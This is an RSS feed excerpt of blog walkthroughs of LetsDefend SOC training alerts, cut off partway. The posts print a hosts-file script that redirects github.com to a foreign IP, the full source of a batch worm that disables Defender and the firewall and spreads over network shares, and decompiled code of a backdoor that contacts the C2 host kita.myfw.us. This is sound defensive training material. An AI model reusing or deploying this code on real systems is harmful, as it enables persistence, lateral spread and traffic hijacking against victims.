href="https://www.virustotal.com/gui/file/35dadca50c522d395ed40511f889da63fed2622636e0bbbd41b01647acdf394f">Virus Total</a></figcaption></figure><h4><strong>Here’s what stands out to me:</strong></h4><p>First, not every analysis engine flagged this file as malicious, which is interesting. Still, all of them agree the file’s reputation isn’t good. That definitely caught my attention.</p><p>Second, from the Hybrid Analysis report, here’s what I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*oTkWHG-Nq4LVvGF1cTeERA.jpeg" /></figure><p>It looks like there might be something going on here</p><p>Also, VT CodeInsights provide this:</p><blockquote><strong>Code insights</strong><br>‣ The code you provided is a simple script that creates a progress bar in the terminal. It does not appear to be malicious or harmful.<br>‣ The script uses the `time` and `sys` modules to create a progress bar that is 40 characters wide. The script first prints a message indicating that it is configuring the network. It then uses a for loop to iterate over the range of 40 characters and print a hyphen to the terminal. This creates the progress bar.<br>‣ The script then prints a message indicating that it is configuring the hardening. It then uses the same for loop to iterate over the range of 40 characters and print a hyphen to the terminal. This creates the progress bar.<br>‣ The script then prints a message indicating that it is configuring the permissions. It then uses the same for loop to iterate over the range of 40 characters and print a hyphen to the terminal. This creates the progress bar.<br>‣ The script then prints a message indicating that it is finished.<br>‣ Finally, the script opens the file `C:\Windows\System32\drivers\etc\hosts` in append mode and writes the line `49.233.160.217 github.com` to the file.</blockquote><h4>Lets Grab the file and do some manual static analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*KeAhg3uminV8cOch11prNg.jpeg" /></figure><p>If we open the file on a plain text editor we’ll get the following code:</p><pre>import time<br>import sys<br><br>toolbar_width = 40<br><br># setup toolbar<br>print(&quot;Network Configuration&quot;)<br>sys.stdout.write(&quot;[%s]&quot; % (&quot; &quot; * toolbar_width))<br>sys.stdout.flush()<br>sys.stdout.write(&quot;\b&quot; * (toolbar_width+1)) # return to start of line, after &#39;[&#39;<br><br>for i in range(toolbar_width):<br>    time.sleep(0.1) # do real work here<br>    # update the bar<br>    sys.stdout.write(&quot;-&quot;)<br>    sys.stdout.flush()<br><br>sys.stdout.write(&quot;]\n&quot;) # this ends the progress bar<br><br>print(&quot;Hardening Configuration&quot;)<br>sys.stdout.write(&quot;[%s]&quot; % (&quot; &quot; * toolbar_width))<br>sys.stdout.flush()<br>sys.stdout.write(&quot;\b&quot; * (toolbar_width+1)) # return to start of line, after &#39;[&#39;<br><br>for i in range(toolbar_width):<br>    time.sleep(0.1) # do real work here<br>    # update the bar<br>    sys.stdout.write(&quot;-&quot;)<br>    sys.stdout.flush()<br><br>sys.stdout.write(&quot;]\n&quot;) # this ends the progress bar<br><br><br>print(&quot;Permission Configuration&quot;)<br>sys.stdout.write(&quot;[%s]&quot; % (&quot; &quot; * toolbar_width))<br>sys.stdout.flush()<br>sys.stdout.write(&quot;\b&quot; * (toolbar_width+1)) # return to start of line, after &#39;[&#39;<br><br>for i in range(toolbar_width):<br>    time.sleep(0.1) # do real work here<br>    # update the bar<br>    sys.stdout.write(&quot;-&quot;)<br>    sys.stdout.flush()<br><br>sys.stdout.write(&quot;]\n&quot;) # this ends the progress bar<br><br><br>print(&quot;Done!&quot;)<br><br><br>f = open(&quot;C:\Windows\System32\drivers\etc\hosts&quot;, &quot;a&quot;)<br>f.write(&quot;49.233.160.217 github.com&quot;)<br>f.close()</pre><p>This script is mostly putting on a show. It acts like it’s handling real system tasks like <strong>“Network Configuration”</strong>, <strong>“Hardening Configuration”</strong>, and <strong>“Permission Configuration”</strong>. It prints out some messages, shows progress bars made from dashes, and throws in some sleep delays to make it look like actual configuration is happening. The whole point is just to make the user trust that something legitimate is going on.</p><p>But then, there’s the real trick: it opens up the system’s hosts file in append mode and adds a line that points github.com to the IP address <strong>49.233.160.217</strong>. That means if you or a script tries to visit <strong>GitHub</strong>, you’ll end up at that IP instead of the real site.</p><p>In short, this script is a clear example of <strong>local DNS hijacking</strong> using the hosts file, all while pretending to be a basic system tool.</p><p>It doesn’t download extra files or directly run harmful code, but its purpose is obvious — redirect GitHub traffic to a different, unverified IP address (in this case, a Tencent Cloud server in China). This kind of trick is used for things like phishing, man-in-the-middle attacks, or just blocking access to updates or repositories.</p><p>Okay, so we finished analyzing the malware and, well, it’s definitely malicious. <br>Now we need to check out the EDR and network logs just to see if there’s any sign of a breach.<br>Funny thing is, the alert details say “<strong>Device Action = Allowed</strong>,” which, let’s be honest, doesn’t exactly fill me with confidence.</p><h4>EDR LOGS:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhBmjUNi-r05H7t51cNndA.jpeg" /><figcaption>update.py beeing executed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aw_7riv8KTtNVLdkfFEjyw.jpeg" /><figcaption>update.py beeing executed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pSh5Pjp4ZMNBMSu5hT4KWg.jpeg" /><figcaption>Connections to malicious IP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*FZdES4l_EmsF5RSVcY-aGA.jpeg" /><figcaption>GitHub searches</figcaption></figure><h4><strong>Network LOGS</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdRU6-7AyXbIVErdw4rKhA.jpeg" /><figcaption>Conections to C2 “URL: https://github.com”</figcaption></figure><p>Based on all of this logs we can confirm that the local DNS hijacking was successfull.</p><p>Wilson downloaded the file, ran it, and then even visited github.com, just to make sure he got as far as possible with the breach.<br>Honestly, if there was a trophy for commitment, he’d probably get it 😆</p><h3>Lets open a case for the alert and stick to the playbook:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*ii-YXY8akp99YcwptQ_FaQ.jpeg" /><figcaption>Unknown or unexpected outgoing internet traffic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*WnZpqB4KhaAJeRXOEWsDWA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*iQTUj2qA6LCqTe7xBRF6OQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*y1hvNW9mPKSME99nyFrQ4Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*azZP7H7j82c8sUqdoA9v1A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*P3nxH_ZSFfQOfHAL_0ELNw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Jv6yDtBMVpZOvA3GUMqu5g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*uDMcG6ExUVPpZxFqrOP3Og.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*Ih9bhJL4ggOsIHfaKax-uw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*sf9cO9QH4zBoZcwusverwg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Ljv1jILHpkTIwuFazXU1g.jpeg" /></figure><h3>Analyst note:</h3><p>True Positive | Breach<br>An alert was triggered on February 6, 2021, at 12:42 PM, for a file named update.py found on the WilsonPRD endpoint.<br>Even though the file was not flagged as malicious by security tools like VirusTotal, Any.run, or Hybrid Analysis, a manual static review revealed suspicious behavior.<br>The script performs local DNS hijacking by modifying the system’s hosts file, redirecting traffic from github.com to a suspicious IP address in China (Tencent Cloud), all while disguising itself as a legitimate system configuration tool.<br>The file was downloaded, executed, and a connection attempt to github.com was confirmed on the endpoint — confirming the breach. DNS redirection was successful.<br>The endpoint has been contained. Cleanup and host integrity checks are recommended.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9eae9f0f21e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC117 — EventID 50 — Suspicious .reg File]]></title>
            <link>https://medium.com/@MateoPappa/soc117-eventid-50-suspicious-reg-file-621f2e7ef339?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/621f2e7ef339</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Mon, 26 May 2025 19:01:58 GMT</pubDate>
            <atom:updated>2025-05-28T02:21:11.096Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC117 — EventID 50 — Suspicious .reg File</h3><p>This is an unofficial guide to analyzing the <strong>SOC117 — EventID 50 — Suspicious .reg File.</strong></p><h3>Alert Details:</h3><pre>EventID :             50<br>Event Time :          Feb, 06, 2021, 01:58 PM<br>Rule :                SOC117 - Suspicious .reg File<br>Level :               Security Analyst<br>Source Address :      172.16.17.51<br>Source Hostname :     Aldo<br>File Name :           config.reg<br>File Hash :           f705ac114767397fb5e7cd1603e70954<br>File Size :           16.3 MB<br>Device Action :       Blocked</pre><p>Okay, so first up, I’ll grab that sample from the alert and download it into my VMWare Workstation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*0-wcARwGCWPIOOsdNh1Hiw.jpeg" /></figure><p>As we see, we’ve got 2 files here.</p><h4>CONFIG.REG:</h4><p><strong>Config.reg</strong> is a huge registry file, with more than 141,000 lines. Honestly, there’s no way I’m going to read through all of that (I just don’t have the time or patience). <br>But here’s the thing: this kind of file is definitely not something you’d expect to find on a regular work computer. Files like this usually try to mess with a bunch of system settings, which is a big hint that something might be trying to stick around or avoid getting noticed.</p><h4><strong>ImportantUpdate.bat:</strong></h4><p>If we open this file on a plain text editor as Notepad++ for example, we’ll get the following code:</p><pre>@echo off<br>SET i=0<br>SET &quot;NomeProcesso=DaMonki.exe&quot;<br>SET &quot;NomeService=DaMonki&quot;<br><br>rem &lt;=== run as service ===&gt;<br>echo sc create %NomeService% binpath=%0 &gt; service.bat<br>echo sc start %NomeService% &gt;&gt; service.bat<br>attrib +h +r +s service.bat<br>start service.bat<br>rem &lt;=== startup registry ===&gt;<br>reg add &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&quot; /v &quot;Windows Services&quot; /t &quot;REG_SZ&quot; /d %0<br>attrib +h +r +s %0<br>rem &lt;=== kill firewall and windows defender ===&gt;<br>net stop &quot;Windows Defender Service&quot;<br>net stop &quot;Windows Firewall&quot;<br>rem &lt;=== INFECT NETWORK!!! ===&gt;<br>:Worm<br>net use Z: \\192.168.1.%i%\C$<br>if exist Z: (for /f %%u in (&#39;dir Z:\Users /b&#39;) do copy %0 &quot;Z:\Users\%%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Services.exe&quot;<br>mountvol Z: /d)<br>if %i% == 256 (goto Infect) else (set /a i=i+1)<br>goto Worm<br>rem &lt;=== infect *.* in C:\Users ===&gt;<br>:Infect<br>for /f %%f in (&#39;dir C:\Users\*.* /s /b&#39;) do (rename %%f *.bat)<br>for /f %%f in (&#39;dir C:\Users\*.bat /s /b&#39;) do (copy %0 %%f)</pre><p>This file is clearly a worm. It attempts to persist by registering itself both as a Windows service and a startup entry, disables local security tools like Windows Defender and Firewall (so your default security tools can’t really do much), and spreads laterally across the network by copying itself into the startup folders of remote user profiles via shared drives. It also starts changing and infecting files all over C:\Users. Basically, it’s trying every trick to stick around and spread itself. Really persistent stuff.</p><blockquote>I didn’t mention log analysis because, honestly, there’s just nothing to see. The <strong>EDR</strong> and<strong> NET</strong> logs barely say anything. No connections to C2, no shady URLs, just those two files sitting there on the endpoint. That’s all. Nothing else really worth digging into.</blockquote><p>Alright, so I’ve pretty much wrapped up the analysis part, unless I missed something big, in which case, let me know. But honestly, I think we can all agree this file’s aren’t something we’d want hanging around on any of our endpoints. Definitely not normal.</p><h4><strong>So lets open a case for the alert and stick to the playbook:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*GHlyCtaI3b2KemggYCxbYA.jpeg" /><figcaption>Other</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*L1A4aM2ioTqYUCkERf5ZCg.jpeg" /><figcaption>Device Action = Blocked</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*hILE_AZj7LSw-zjpMwl3PQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*-5INhr5tlBUD8HIO7qQOeg.jpeg" /><figcaption>There are no C2 connections</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*o7wvIUApql6b-obS4eEtUw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*VF9mEnGuMQvAgcZ-G04HeQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*xHtUShQ6GK_bIOLUJED6cw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*b_hEKZrKnp15InQkP02Wlw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUAaZ1wnJY-wvQbz592NnA.jpeg" /></figure><h4>Analyst note:</h4><p>True Positive | No breach<br>An alert popped up because Aldo’s computer had a suspicious file called “Config.reg”<br>This file is huge (over 140,000 lines) which is definitely not normal for a work computer. Files like this usually try to change a lot of system settings, which can be a sign that something is trying to stick around or avoid getting caught.<br>Within analisis, another malicious file was detected “ImportantUpdate.bat” (bf16a6aec517b7ec9c5d6eb3f4c60824). This file is considered a worm (code have been analised) and it attempts to persist by registering itself both as a Windows service and a startup entry, disables local security tools like Windows Defender and Firewall, and spreads laterally across the network by copying itself into the startup folders of remote user profiles via shared drives. It also attempts to rename and infect files across C:\Users, aiming to achieve broader persistence and propagation.<br>The good news is that both files were blocked before they could do any harm, and the malware was cleaned from the endpoint. There were no signs of a breach: no suspicious communication, no changes to the registry, no strange processes, and no extra files popped up. Security controls did their job, and everything looks clear.</p><blockquote>If you’re new to this, don’t just copy the note — try making your own! Practice makes perfect.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=621f2e7ef339" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LetsDefend — HeartBeat Backdoor (Medium)]]></title>
            <link>https://medium.com/@MateoPappa/letsdefend-heartbeat-backdoor-medium-6467ea8f85a8?source=rss-70d18e1abaf1------2</link>
            <guid isPermaLink="false">https://medium.com/p/6467ea8f85a8</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[ ]]></dc:creator>
            <pubDate>Wed, 21 May 2025 00:00:07 GMT</pubDate>
            <atom:updated>2025-06-10T16:35:00.697Z</atom:updated>
            <content:encoded><![CDATA[<h3>LetsDefend — HeartBeat Backdoor (Medium)</h3><p>This is an official guide to complete the <a href="https://app.letsdefend.io/challenge/heartbeat-backdoor">HeartBeat Backdoor</a> challenge on Let’sDefend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*N15uRJnRm58ZqwUZoDSc2w.jpeg" /></figure><h3>Challenge details:</h3><p>Your organization, has been alerted to a potential malware infection in one of the corporate network’s critical servers. The malware appears to be sophisticated, performing various tasks such as system information gathering, file exfiltration, and remote command execution. It also includes functionality to restart the system abruptly, causing potential downtime.</p><p>Your task is to analyze a captured sample of this malware, identify its behaviors, and understand its communication with a command and control (C2) server.</p><p>As with our last analysis of <a href="https://medium.com/@MateoPappa/letsdefend-spicerat-medium-881a474c0982">SpiceRAT</a>, this one will also be an in-depth dive into the <strong>Heartbeat Backdoor</strong>, aiming to fully uncover its functionalities, C2 communication, and more.</p><p>So… if you’re only here for the challenge answers (shame on you for not even trying to understand the malware 😏), feel free to scroll to the end — the answers will be waiting for you there.</p><p><strong>With this in mind, let’s get started!<br></strong>The first thing I will do is get the malicious file onto my own VM (this is just a personal preference, as it’s more comfortable for me this way). However, you can use the VM provided by LetsDefend if you prefer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*jvjJJd5p9Sd-ET3soRsQpA.jpeg" /></figure><h3>Initial Analysis:</h3><p>For this analysis, as always, I’ll be using Ghidra’s decompiled version of the sample — so I don’t have to walk you through every line of assembly and risk you crashing mid-explanation 😆</p><p>You’ll also notice that some functions aren’t named things like <strong>FUN_XXXXX</strong> or<strong> sub_XXXX </strong>anymore. That’s because I renamed them to make the code easier to follow and understand. Don’t worry though, I kept the original names in parentheses right next to them so you won’t get lost.</p><h3>Heartbeat Backdoor — General Overview</h3><p>Heartbeat is a custom backdoor that allows its users to maintain a metaphoric “heartbeat” on a target system, communicating with it and listening for instructions via a custom binary protocol. It tries to contact a C2 server, listens for orders and can reply with system information or even execute new payloads directly in memory. The malware uses the multithreading design to process the commands received asynchronously and uses obfuscation such as byte level XOR operation and meaningless function structures to increase the level of attention from analysts. While it doesn’t employ highly advanced evasion methods, its modular and silent design allows for stealthy control and potential data exfiltration from infected hosts.</p><p>(Info gathered after an in-depth analysis. This is just an introduction for you, the reader).</p><h3>Heartbeat Backdoor Execution Flow:</h3><pre>Main (Entry)<br> └─  Calls: MemoryManager (FUN_10001e9c)  [ Handles memory allocation and reference counting]<br>      |<br>      └─Calls: StartThreadIfParamIsOne (FUN_10001e10)  [Starts a new thread if the parameter equals 1]<br>          |<br>          └─ Calls: MainThreadFunction (FUN_10001cf0)  [Creates socket, connects to server, and manages main communication loop]<br>               |<br>               |<br>               ├─ Calls: GatherSystemInfoAndPrepareBuffer (FUN_10001060)  [Collects system info and prepares an encrypted buffer]<br>               |        |<br>               |        └─ Calls: XOREncryptAndSendData (FUN_10001000)   [Applies XOR encryption to data and sends it through the socket]<br>               |<br>               |<br>               |<br>               └─ CommandListenerLoop (UndefinedFunction_10001b06) (or UndefinedFunction_10001ac0 if analized)  (THREAT)<br>                       ├─ Case 1: EnumerateProcessesAndSendData (FUN_100011b0)<br>                       |<br>                       ├─ Case 2: TerminateProcessByPID (FUN_10001320)<br>                       |<br>                       ├─ Case 3: RemoteDataDownloaderAndExecutor (LAB_10001440 - UndefinedFunction_10001440)<br>                       │                 ├─ Calls: XOREncryptAndSendData (FUN_10001000)<br>                       │                 └─ Calls: RunCommandAndSendStatus (FUN_100013c0)<br>                       |<br>                       ├─ Case 4: RunCommandAndSendStatus (FUN_100013c0)<br>                       |<br>                       ├─ Case 5: StartHiddenCmdShell (FUN_10001900)<br>                       |                 |<br>                       |                 ├─PipeListenerThread (UndefinedFunction_10001760) (LAB_10001760)<br>                       |                 |<br>                       |                 └─AlignStackAndStoreRetAddr (FUN_10001e60)<br>                       |<br>                       ├─ Case 6: SendCommandToPipe (FUN_10001890)<br>                       |<br>                       ├─ Case 9: DeleteRegistryAndScheduleFileDeletion (FUN_10001a20)<br>                       |<br>                       └─ Case 10: ForceImmediateReboot (FUN_10001a90)</pre><h3>Main (Entry) Overview:</h3><pre>int Main(undefined4 param_1,int param_2,undefined4 param_3)<br><br>{<br>  int iVar1;<br>  int iVar2;<br>  int iVar3;<br>  <br>  iVar1 = param_2;<br>  iVar2 = DAT_1000338c;<br>  if (param_2 != 0) {<br>    if ((param_2 != 1) &amp;&amp; (param_2 != 2)) goto LAB_10001f8f;<br>    if ((DAT_1000339c != (code *)0x0) &amp;&amp;<br>       (iVar2 = (*DAT_1000339c)(param_1,param_2,param_3), iVar2 == 0)) {<br>      return 0;<br>    }<br>    iVar2 = MemoryManager(param_1,param_2);<br>  }<br>  if (iVar2 == 0) {<br>    return 0;<br>  }<br>LAB_10001f8f:<br>  iVar2 = StartThreadIfParamIsOne(param_1,param_2);<br>  if (param_2 == 1) {<br>    if (iVar2 != 0) {<br>      return iVar2;<br>    }<br>    MemoryManager(param_1,0);<br>  }<br>  if ((param_2 != 0) &amp;&amp; (param_2 != 3)) {<br>    return iVar2;<br>  }<br>  iVar3 = MemoryManager(param_1,param_2);<br>  param_2 = iVar2;<br>  if (iVar3 == 0) {<br>    param_2 = 0;<br>  }<br>  if (param_2 != 0) {<br>    if (DAT_1000339c != (code *)0x0) {<br>      iVar2 = (*DAT_1000339c)(param_1,iVar1,param_3);<br>      return iVar2;<br>    }<br>    return param_2;<br>  }<br>  return 0;<br>}</pre><p><strong>Main (entry)</strong> is the backstage manager for this whole show. First thing, it’s setting up memory stuff and launching a main thread. That thread? That’s where all the sneaky connection and remote-control magic happens. Basically, nothing starts without Main saying “action.” No backdoor, no fun, no evil hacker business.</p><h4>Okay, so let’s get zoomed in:</h4><p>This function takes three parameters, but the key one is <strong>param_2</strong>, which controls the flow.</p><p>If <strong>param_2</strong> is 1 or 2, the code tries to call an external function that might change the flow. If that function returns 0, the program stops right there.</p><p>Then, it calls <strong>MemoryManager (FUN_10001e9c)</strong>, that manages memory allocation and reference counting.</p><p>If the parameter signals to start the thread (param_2 = 1), it calls <strong>StartThreadIfParamIsOne (FUN_10001e10)</strong>, that launches the main thread responsible for communicating with the C2 server. If this call to the thread fails, it frees up memory.</p><p>Finally, depending on how the parameters are set, it may also make additional calls to finalize the setup or shut everything down cleanly.</p><h3><strong>MemoryManager (FUN_10001e9c) Overview:</strong></h3><pre>undefined4 MemoryManager(undefined4 param_1,int param_2)<br><br>{<br>  undefined4 uVar1;<br>  undefined4 *_Memory;<br>  undefined4 *puVar2;<br>  <br>  if (param_2 == 0) {<br>    if (0 &lt; DAT_1000338c) {<br>      DAT_1000338c = DAT_1000338c + -1;<br>      goto LAB_10001eb2;<br>    }<br>LAB_10001eda:<br>    uVar1 = 0;<br>  }<br>  else {<br>LAB_10001eb2:<br>    _DAT_10003390 = *(undefined4 *)_adjust_fdiv_exref;<br>    if (param_2 == 1) {<br>      DAT_10003398 = (undefined4 *)malloc(0x80);<br>      if (DAT_10003398 == (undefined4 *)0x0) goto LAB_10001eda;<br>      *DAT_10003398 = 0;<br>      DAT_10003394 = DAT_10003398;<br>      _initterm(&amp;DAT_10003000,&amp;DAT_10003004);<br>      DAT_1000338c = DAT_1000338c + 1;<br>    }<br>    else if ((param_2 == 0) &amp;&amp;<br>            (_Memory = DAT_10003398, puVar2 = DAT_10003394, DAT_10003398 != (undefined4 *)0x0)) {<br>      while (puVar2 = puVar2 + -1, _Memory &lt;= puVar2) {<br>        if ((code *)*puVar2 != (code *)0x0) {<br>          (*(code *)*puVar2)();<br>          _Memory = DAT_10003398;<br>        }<br>      }<br>      free(_Memory);<br>      DAT_10003398 = (undefined4 *)0x0;<br>    }<br>    uVar1 = 1;<br>  }<br>  return uVar1;<br>}</pre><p>MemoryManager handles the allocation, initialization, and cleanup of the backdoor’s memory structures. It keeps track of active memory references and makes sure resources are properly freed when no longer needed. Overall, it makes sure memory is allocated and cleaned up correctly, preventing leaks and keeping track of active usage.</p><h4>So, here’s what’s happening:</h4><ul><li>when <strong>param_2</strong> is set to<strong> 1</strong>, the function reserves <strong>128</strong> bytes of memory (that’s your malloc in action), resets that memory to zero just to be safe (<strong>*DAT_10003398 = 0</strong>), and updates a few internal settings (<strong>DAT_10003394 and _initterm</strong>) — basically getting everything ready to go. It also bumps up a counter <strong>(DAT_1000338c)</strong> to keep track that something’s using that memory.</li><li>If <strong>param_2</strong> is<strong> 0</strong>, the function checks if there’s any of that memory left hanging around. If it finds some, it goes through, runs any cleanup functions stored in there, and then frees up the memory — so you’re not wasting resources.</li><li>If <strong>param_2</strong> comes in as anything but <strong>0</strong> or <strong>1</strong>, the function simply lowers a reference counter, but only if it’s still above zero. That way, memory doesn’t get released when someone might still need it.</li></ul><p>Pretty simple in the end: set things up with 1, clean up with 0, and stay careful with everything else. All about keeping things organized and avoiding memory leaks or losing data early.</p><h3>StartThreadIfParamIsOne (FUN_10001e10) Overview:</h3><pre>undefined4 StartThreadIfParamIsOne(undefined4 param_1,int param_2)<br><br>{<br>  if (param_2 == 1) {<br>    _beginthread(MainThreadFunction,0,(void *)0x0);<br>  }<br>  return 1;<br>}</pre><p>This function checks if the parameter equals 1, and if so, it starts a new thread that runs the <strong>MainThreadFunction (FUN_10001cf0)</strong>, responsible for the backdoor’s core logic.</p><h3>MainThreadFunction (FUN_10001cf0) Overview:</h3><pre>void MainThreadFunction(void)<br><br>{<br>  LPVOID lpParameter;<br>  int iVar1;<br>  hostent *phVar2;<br>  char *cp;<br>  sockaddr sStack_10;<br>  <br>  WSAStartup(0x202,(LPWSADATA)&amp;DAT_100031e0);<br>LAB_10001d19:<br>  do {<br>    lpParameter = (LPVOID)socket(2,1,6);<br>    sStack_10.sa_family = 2;<br>    iVar1 = _wtoi((wchar_t *)&amp;DAT_10003024);<br>    sStack_10.sa_data._0_2_ = htons((u_short)iVar1);<br>    phVar2 = gethostbyname(s_kita.myfw.us_10003054);<br>    if (phVar2 == (hostent *)0x0) {<br>      phVar2 = gethostbyname(&amp;DAT_10003090);<br>      if (phVar2 == (hostent *)0x0) {<br>        closesocket((SOCKET)lpParameter);<br>        Sleep(10000);<br>        goto LAB_10001d19;<br>      }<br>    }<br>    cp = inet_ntoa((in_addr)((_union_1226 *)*phVar2-&gt;h_addr_list)-&gt;S_un_b);<br>    sStack_10.sa_data._2_4_ = inet_addr(cp);<br>    iVar1 = connect((SOCKET)lpParameter,&amp;sStack_10,0x10);<br>    if (iVar1 == -1) {<br>      closesocket((SOCKET)lpParameter);<br>      Sleep(10000);<br>    }<br>    else {<br>      DAT_10003370 = lpParameter;<br>      iVar1 = GatherSystemInfoAndPrepareBuffer();<br>      if (iVar1 == -1) {<br>        closesocket((SOCKET)lpParameter);<br>      }<br>      else {<br>        DAT_100031dc = CreateEventW((LPSECURITY_ATTRIBUTES)0x0,0,0,(LPCWSTR)0x0);<br>        CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,(LPTHREAD_START_ROUTINE)&amp;CommandListenerLoop,<br>                     lpParameter,0,(LPDWORD)0x0);<br>        WaitForSingleObject(DAT_100031dc,0xffffffff);<br>        closesocket((SOCKET)lpParameter);<br>      }<br>    }<br>  } while( true );<br>}</pre><p>So, the <strong>MainThreadFunction (FUN_10001cf0)</strong> is basically the control center of the backdoor. It’s built to keep a persistent connection with its C2 server, gather info about the system, and spin up a thread to listen for commands. If something goes wrong-like it can’t connect or grab the info it needs-it pauses for a bit, tries again, and does this over and over, trying to keep whoever’s behind the scenes in the loop.</p><h4>How it does all that:</h4><p><strong>1. </strong>Networking kicks off: First, it calls WSAStartup (gets Winsock working for network stuff).</p><p><strong>2. </strong>Connection loop (won’t give up): It sets up a do-while loop, so it keeps trying to connect to the server no matter what.</p><p><strong>3. </strong>Makes a TCP socket: Calls socket(2,1,6). That’s IPv4 (AF_INET = 2), stream socket (SOCK_STREAM = 1), protocol TCP (6).</p><p><strong>4. Set up server address:</strong></p><ul><li>Grabs the port (from a wide-char string with <strong>_wtoi</strong> on <strong>DAT_10003024</strong>), and adjusts byte order with <strong>htons</strong>.</li><li>next, it resolves the server hostname using <strong>gethostbyname</strong> for <strong>s_kita.myfw.us_10003054</strong>.</li><li>If that fails, tries a fallback hostname stored at <strong>DAT_1000309</strong>0.</li><li>If both fail, it shuts down the socket, waits 10 seconds, and loops back up.</li></ul><p><strong>5. Convert IP and attempt to connect:</strong></p><ul><li>Changes the hostname IP to dotted-decimal string with <strong>inet_ntoa,</strong> then back to binary with <strong>inet_addr</strong>, and drops that into the socket address,</li><li>Calls <strong>connect </strong>to establish TCP connection to server.</li></ul><p><strong>6. Connection fails?</strong> Closes up, waits another 10 seconds, restarts the loop.</p><p><strong>7. Success? Moves on:</strong></p><ul><li>Stores the socket handle in a global variable<strong> (DAT_10003370)</strong>.</li><li>Calls a function (<strong>GatherSystemInfoAndPrepareBuffer / FUN_10001060</strong>) to collect system info and prepare what it’ll send.</li><li>If that fails (<strong>returns -1</strong>), closes socket, starts over.</li><li>Otherwise, makes an event object (<strong>CreateEventW</strong>) for shutdown control.</li><li>Starts a new thread running <strong>CommandListenerLoop</strong> to listen for commands from the C2.</li><li>Waits on that event (<strong>WaitForSingleObject</strong>)<strong> </strong>until it’s signaled.</li><li>When the event triggers, shuts down the socket and does the whole thing again.</li></ul><p>It’s persistent, just loops forever, and does its best to keep that channel to its controller open, whatever happens.</p><h3><strong>GatherSystemInfoAndPrepareBuffer (FUN_10001060) Overview:</strong></h3><pre>undefined4 GatherSystemInfoAndPrepareBuffer(void)<br><br>{<br>  hostent *phVar1;<br>  char *lpMultiByteStr;<br>  int iVar2;<br>  _OSVERSIONINFOW *p_Var3;<br>  WCHAR *pWVar4;<br>  undefined4 *puVar5;<br>  DWORD *pDVar6;<br>  undefined4 *puVar7;<br>  undefined in_stack_ffffea38;<br>  undefined in_stack_ffffea3c;<br>  undefined in_stack_ffffea40;<br>  undefined in_stack_ffffea41;<br>  undefined in_stack_ffffea44;<br>  undefined in_stack_ffffea48;<br>  undefined in_stack_ffffea4c;<br>  undefined in_stack_ffffea50;<br>  undefined in_stack_ffffea54;<br>  undefined in_stack_ffffea58;<br>  undefined in_stack_ffffea5c;<br>  int cchWideChar;<br>  DWORD DStack_db4;<br>  _OSVERSIONINFOW local_db0;<br>  WCHAR local_c9c [256];<br>  WCHAR aWStack_a9c [32];<br>  DWORD aDStack_a5c [71];<br>  DWORD DStack_940;<br>  wchar_t awStack_93c [10];<br>  wchar_t awStack_928 [16];<br>  char acStack_908 [256];<br>  undefined4 auStack_808 [514];<br>  <br>  